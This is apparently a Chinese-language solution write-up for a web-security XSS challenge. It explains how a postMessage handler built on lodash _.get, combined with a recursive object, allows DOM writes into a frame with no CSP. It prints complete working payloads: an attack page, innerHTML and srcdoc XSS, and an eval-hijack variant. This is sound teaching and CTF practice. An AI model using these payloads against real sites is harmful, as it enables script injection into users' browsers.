挑战概述
挑战页面地址:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html
目标页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html
页面加载了三个脚本:
1
2
3
|
<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">
|
其中前两个是常见库,第三个是自定义脚本。inner.js包含以下关键代码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
const reHydrate = event => {
const data = event.data;
if (!data || typeof data !== "object") {
log("Invalid message: not an object");
return;
}
const { base, mappings } = data;
if (!_.isObject(base) || !Array.isArray(mappings)) {
log("Invalid payload structure: expected { base, mappings[] }");
return;
}
for (const { from, to } of mappings) {
const val = _.get(event, from);
base.reqBody[to] = val;
}
return base;
}
window.addEventListener("message", event => {
const hydrated = reHydrate(event);
fetch('mockedfakeapi', {
headers: {
"Content-Type": "application/json"
},
method: 'POST',
body: hydrated.reqBody
})
}, false);
|
页面通过meta标签设置了CSP策略:
1
|
<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">
|
关键发现
1. lodash的_.get方法
允许通过查询字符串访问对象属性:
1
2
|
var obj = {a: {b: {c: 1}}}
var value = _.get(obj, "a.b.c") // 返回1
|
2. fetch方法中的隐式toString调用
当fetch的body参数是对象时,会隐式调用其toString()方法,这为代码执行创造了可能:
1
2
|
var obj = {toString: ()=>{alert()}}
fetch("/",{method: "post",body: obj})
|
3. 赋值操作的XSS可能性
通过base.reqBody[to] = val赋值,可能触发XSS的途径包括:
- 设置元素HTML:
innerHTML、outerHTML、insertAdjacentHTML
- 设置事件属性:
onclick等
- 导航操作:
window.location、iframe.src
- 设置iframe的
srcdoc属性
CSP绕过策略
CSP有两个重要特性:
- 导航操作:浏览器检查发起导航的文档的CSP策略
- DOM渲染:
innerHTML和srcdoc等操作在目标帧的上下文中执行,忽略调用者的CSP
这意味着我们需要在同源无CSP的窗口中使用innerHTML等DOM渲染方法。
攻击构造
初始尝试
创建包含两个iframe的攻击页面:
- 挑战页面(有CSP)
- 404页面(无CSP)
尝试通过原型污染访问HTMLBodyElement:
1
2
3
4
5
6
7
|
var payload = {
base: {},
mappings: [{
from: "source.frames[1].document.body",
to: "__proto__", // 尝试通过原型链访问
}],
}
|
但这会导致Illegal invocation错误,因为原型不是实例。
关键突破:递归对象
JavaScript允许递归对象结构:
1
2
|
var payload = {}
payload.reqBody = payload // 创建递归引用
|
利用这一特性构建最终攻击载荷:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
var payload = {
base: {},
mappings: [
{
from: "source.frames[1].document.body", // 指向无CSP窗口的body元素
to: "reqBody" // 覆盖正在写入的属性
},
{
from: "data.xss", // 获取XSS载荷
to: "innerHTML" // 写入innerHTML
}
],
xss: "<img src=x onerror=alert(document.domain)>"
}
payload.base.reqBody = payload.base // 创建递归引用
frames[0].postMessage(payload, "*")
|
攻击执行流程
-
第一个映射:base.reqBody["reqBody"] = source.frames[1].document.body
- 使
base.reqBody指向无CSP窗口的body元素
-
第二个映射:base.reqBody["innerHTML"] = "<img src=x onerror=alert(document.domain)>"
- 此时
base.reqBody已经是真实的DOM元素
- 成功执行XSS
完整攻击页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<script>
function run() {
var payload = {
base: {},
mappings: [
{
from: "source.frames[1].document.body",
to: "reqBody"
}, {
from: "data.xss",
to: "innerHTML"
}
],
xss: "<img src=x onerror=alert(document.domain)>"
}
payload.base.reqBody = payload.base
frames[0].postMessage(payload, "*")
}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>
|
替代解法
使用srcdoc属性
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
var payload = {
base: {},
mappings: [
{
from: "source.frames[0].frames[0].frameElement",
to: "reqBody"
}, {
from: "data.xss",
to: "srcdoc"
}
],
xss: "<script>alert(document.domain)\u003c/script>"
}
payload.base.reqBody = payload.base
|
Turb0的修改版本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
var payload = {
base: {},
"mappings": [
{
"from": "target.Array",
"to": "reqBody"
}, {
"from": "target.eval",
"to": "isArray"
}
]
}
payload.base.reqBody = payload.base
// 需要setTimeout避免fetch错误
setTimeout(() => frames[0].postMessage({
base: {},
mappings: 'alert(origin)'
}, '*'), 500)
|
总结
- 递归对象技术:通过创建递归引用的对象,可以覆盖正在写入的属性本身
- CSP绕过:通过在同源无CSP的窗口中执行DOM操作,成功绕过CSP限制
- postMessage安全:展示了postMessage API的安全风险,需要谨慎处理传入的数据结构
这种攻击方式展示了Web安全中一些不常见但危险的攻击向量,特别是当多个看似无害的功能组合在一起时可能产生的严重安全漏洞。